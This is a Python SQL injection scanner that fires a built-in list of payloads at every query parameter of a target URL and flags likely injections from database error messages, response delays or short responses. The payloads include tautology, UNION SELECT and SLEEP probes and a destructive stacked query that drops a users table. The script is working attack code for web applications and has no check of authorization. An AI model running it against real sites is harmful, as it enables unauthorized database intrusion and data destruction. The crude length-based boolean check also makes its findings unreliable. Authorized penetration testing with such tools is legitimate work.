#!/usr/bin/env python3 """ SQL Injection Testing Tool Tests for basic SQL injection vulnerabilities """ import requests import urllib.parse import argparse import time import re class SQLiTester: def __init__(self, url, delay=1): self.url = url self.delay = delay self.session = requests.Session() # SQL injection payloads self.payloads = [ # Error-based "'", '"', "' OR '1'='1", '" OR "1"="1', "' OR 1=1--", '" OR 1=1--', "1' OR '1'='1", "1' ORDER BY 1--", "1' ORDER BY 100--", # Union-based "' UNION SELECT NULL--", "' UNION SELECT NULL,NULL--", "' UNION SELECT NULL,NULL,NULL--", "' UNION SELECT @@version--", # Time-based (MySQL) "' OR SLEEP(5)--", "1' AND SLEEP(5)--", "' AND SLEEP(5) AND '1'='1", # Boolean-based "' AND '1'='1", "' AND '1'='2", "1' AND '1'='1", "1' AND '1'='2", # Stacked queries "'; DROP TABLE users--", "'; SELECT @@version--", ] # SQL error patterns self.error_patterns = [ r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"MySQLSyntaxErrorException", r"valid MySQL result", r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"ORA-[0-9]{5}", r"Oracle error", r"Oracle.*Driver", r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"valid SQLite", r"SQLServer JDBC Driver", r"Driver.*SQL Server", r"SQL Server.*Driver", r"Microsoft OLE DB Provider for ODBC Drivers", ] def test_parameter(self, param, value=""): """Test a single parameter for SQL injection""" print(f"[*] Testing parameter: {param}") for payload in self.payloads: # Create test URL/parameters parsed = urllib.parse.urlparse(self.url) params = urllib.parse.parse_qs(parsed.query) # Add/update parameter params[param] = [payload] # Rebuild URL query_string = urllib.parse.urlencode(params, doseq=True) test_url = urllib.parse.urlunparse(parsed._replace(query=query_string)) try: # Measure response time for time-based detection start_time = time.time() response = self.session.get(test_url, timeout=15) response_time = time.time() - start_time # Check for errors for pattern in self.error_patterns: if re.search(pattern, response.text, re.IGNORECASE): print(f"[+] SQL Error detected with payload: {payload}") print(f" URL: {test_url}") return True # Check for time-based injection if "SLEEP" in payload.upper() and response_time > 4: print(f"[+] Time-based SQL injection detected") print(f" Response time: {response_time:.2f}s") print(f" Payload: {payload}") return True # Check for boolean-based differences if "AND '1'='1" in payload or "AND '1'='2" in payload: if len(response.text) < 1000: # Significant difference print(f"[+] Potential boolean-based injection") print(f" Payload: {payload}") return True except Exception as e: print(f"[-] Error testing payload: {e}") time.sleep(self.delay) return False def get_parameters(self): """Extract parameters from URL""" parsed = urllib.parse.urlparse(self.url) params = urllib.parse.parse_qs(parsed.query) return list(params.keys()) def run(self): """Run SQL injection tests""" print(f"[*] Starting SQL injection test on {self.url}") print("="*50) params = self.get_parameters() if not params: print("[-] No parameters found in URL") print("[*] Try using a URL with parameters, e.g., http://example.com/page?id=1") return print(f"[*] Found {len(params)} parameters: {', '.join(params)}") vulnerabilities_found = False for param in params: if self.test_parameter(param): vulnerabilities_found = True if not vulnerabilities_found: print("[-] No SQL injection vulnerabilities detected") else: print("\n[+] SQL injection testing completed - Vulnerabilities found!") if __name__ == "__main__": parser = argparse.ArgumentParser(description='SQL Injection Testing Tool') parser.add_argument('-u', '--url', required=True, help='Target URL with parameters') parser.add_argument('-d', '--delay', type=float, default=1, help='Delay between requests') args = parser.parse_args() tester = SQLiTester(args.url, args.delay) tester.run() # Usage: python3 sqli-tester.py -u "http://example.com/page?id=1"